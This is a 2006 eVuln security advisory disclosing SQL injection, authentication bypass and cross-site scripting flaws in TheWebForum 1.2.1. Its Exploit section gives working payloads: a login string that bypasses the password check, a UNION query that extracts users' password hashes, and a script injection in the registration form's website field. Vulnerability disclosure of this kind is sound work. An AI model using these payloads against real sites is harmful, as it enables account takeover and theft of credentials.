EV0017.txt

`New eVuln Advisory:  
TheWebForum Script Insertion and Authentication Bypass  
  
--------------------Summary----------------  
Vendor: TheWebForum Group  
Software: TheWebForum  
Sowtware's Web Site: http://sourceforge.net/projects/twf/  
Versions: 1.2.1  
Critical Level: Moderate  
Type: Multiple Vulnerabilities  
Class: Remote  
Status: Unpatched  
Exploit: Available  
Solution: Not Available  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
Published: 2006.01.06  
eVuln ID: EV0017  
  
-----------------Description--------------  
TheWebForum has multiple vulnerabilities.  
  
1. SQL injection and authentication bypass.  
  
Vulnerable script:  
login.php  
  
Variables $_POST['username'] or $u isn't properly sanitized before being used in a SQL query. This can be used to make any SQL query by injecting arbitrary SQL code and log in without password.  
  
SQL Injection Condition: gpc_magic_quotes=off  
  
  
2. Cross-Site Scripting  
  
Vulnerable script: register.php  
  
Variable $www isn't properly sanitized and may contain arbitrary html or script code.  
  
  
  
--------------Exploit---------------------  
Authentication bypass example (SQL Injection):  
http://host/twf/login.php  
User Name: a' or 'a'='a'/*  
Password: anypassword  
  
Get user's password hash example (SQL Injection):  
http://host/twf/login.php  
User Name: a' union select N,password,3 from users/*  
User name will contain password's hash of user with ID=N  
  
JavaScript insertion (XSS):  
http://host/twf/register.php  
Website value: <script>alert(document.cookie)</script>  
  
  
--------------Solution---------------------  
No Patch available.  
  
--------------Credit---------------------  
Original Advisory:  
http://evuln.com/vulns/17/summary.html  
  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
`